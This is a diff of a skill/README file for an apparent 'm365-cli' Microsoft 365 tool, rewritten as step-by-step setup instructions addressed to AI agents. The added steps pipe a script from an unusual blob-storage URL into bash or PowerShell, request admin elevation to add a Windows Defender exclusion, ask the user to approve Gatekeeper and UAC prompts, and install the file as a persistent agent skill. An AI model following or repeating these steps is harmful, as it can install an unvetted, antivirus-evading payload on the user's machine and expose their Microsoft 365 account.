|
1 | 1 | # m365-cli — Microsoft 365 CLI |
2 | 2 |
|
3 | | -A command-line tool for accessing Microsoft 365 services directly from the terminal. |
| 3 | +A command-line tool that gives AI agents direct access to Microsoft 365 services (Teams, Mail, Calendar, OneDrive/SharePoint) via the terminal. |
4 | 4 |
|
5 | | -## Prerequisites |
| 5 | +## Setup for AI Agents |
6 | 6 |
|
7 | | -1. **Install**: `curl -fsSL https://stttthreeai024313688509.blob.core.windows.net/m365cli/install.sh | bash` |
8 | | -2. **Login**: `m365 login` (opens browser for Microsoft Entra ID sign-in) |
9 | | -3. **Verify**: `m365 status` |
| 7 | +This section describes how you (the AI agent) should install and configure the CLI in your environment. The installation requires user interaction at specific steps — follow the workflow below. |
| 8 | + |
| 9 | +### Step 1: Run the installer |
| 10 | + |
| 11 | +Launch the one-liner install script. This downloads and installs the `m365` binary to the user's home directory. |
| 12 | + |
| 13 | +**macOS / Linux:** |
| 14 | +```bash |
| 15 | +curl -fsSL https://stttthreeai024313688509.blob.core.windows.net/m365cli/install.sh | bash |
| 16 | +``` |
| 17 | + |
| 18 | +**Windows (PowerShell):** |
| 19 | +```powershell |
| 20 | +irm https://stttthreeai024313688509.blob.core.windows.net/m365cli/install.ps1 | iex |
| 21 | +``` |
| 22 | + |
| 23 | +**User interaction required:** The OS may prompt the user for permission before the script can execute: |
| 24 | +- **macOS** — Gatekeeper may block the downloaded binary. The user needs to allow it in System Settings → Privacy & Security, or approve the system dialog. |
| 25 | +- **Windows** — The PowerShell script requests Administrator elevation (needed to add a Windows Defender exclusion). The user must approve the UAC prompt. |
| 26 | +- **Linux** — No special permission needed. |
| 27 | + |
| 28 | +After launching the installer, tell the user what you did and ask them to approve any OS-level prompts that appear. |
| 29 | + |
| 30 | +### Step 2: Wait for user confirmation |
| 31 | + |
| 32 | +Ask the user to confirm that the installation completed successfully. Do not proceed until the user confirms — the installer may fail silently or the user may need to take action on OS prompts. |
| 33 | + |
| 34 | +### Step 3: Verify installation |
| 35 | + |
| 36 | +After user confirmation, verify the binary is in place: |
| 37 | + |
| 38 | +**macOS / Linux:** |
| 39 | +```bash |
| 40 | +test -f ~/.local/bin/m365 && echo "installed" || echo "not found" |
| 41 | +``` |
| 42 | + |
| 43 | +**Windows (PowerShell):** |
| 44 | +```powershell |
| 45 | +Test-Path "$env:LOCALAPPDATA\m365-cli\m365.exe" |
| 46 | +``` |
| 47 | + |
| 48 | +Also verify the binary is on PATH and functional: |
| 49 | +```bash |
| 50 | +m365 --help |
| 51 | +``` |
| 52 | + |
| 53 | +If `m365` is not found on PATH, the user may need to restart their terminal (or the agent session) for PATH changes to take effect. |
| 54 | + |
| 55 | +### Step 4: Login |
| 56 | + |
| 57 | +Authenticate with Microsoft 365 using the **absolute path** to the binary (since PATH may not include the install directory in the current session): |
| 58 | + |
| 59 | +**macOS / Linux:** |
| 60 | +```bash |
| 61 | +~/.local/bin/m365 login |
| 62 | +``` |
| 63 | + |
| 64 | +**Windows (PowerShell):** |
| 65 | +```powershell |
| 66 | +& "$env:LOCALAPPDATA\m365-cli\m365.exe" login |
| 67 | +``` |
| 68 | + |
| 69 | +This opens the user's browser for Microsoft Entra ID sign-in. The user must complete the browser-based authentication. After login, verify the session: |
| 70 | + |
| 71 | +**macOS / Linux:** |
| 72 | +```bash |
| 73 | +~/.local/bin/m365 status |
| 74 | +``` |
| 75 | + |
| 76 | +**Windows (PowerShell):** |
| 77 | +```powershell |
| 78 | +& "$env:LOCALAPPDATA\m365-cli\m365.exe" status |
| 79 | +``` |
| 80 | + |
| 81 | +### Step 5: Install this skill |
| 82 | + |
| 83 | +Copy the skill file (this `SKILL.md`) into the agent's skill directory. The exact location depends on the agent platform: |
| 84 | + |
| 85 | +- **Claude Code** — Place in the project's `.claude/skills/m365-cli/SKILL.md`, or install via `claude plugin add` |
| 86 | +- **Eureka / Craft Agent** — Place in the workspace's `skills/m365-cli/SKILL.md` |
| 87 | +- **Other agents** — Consult the agent's documentation for where to place skill/instruction files |
| 88 | + |
| 89 | +### Step 6: Restart the agent session |
| 90 | + |
| 91 | +After installing the skill file, **start a new agent session** (or restart the current one). Most agents load skill files at session startup, so the new skill won't be available until the session is reloaded. |
| 92 | + |
| 93 | +After restart, `m365` should be on PATH. All commands in the rest of this document assume `m365` is available directly. |
10 | 94 |
|
11 | 95 | ## Usage Pattern |
12 | 96 |
|
|
0 commit comments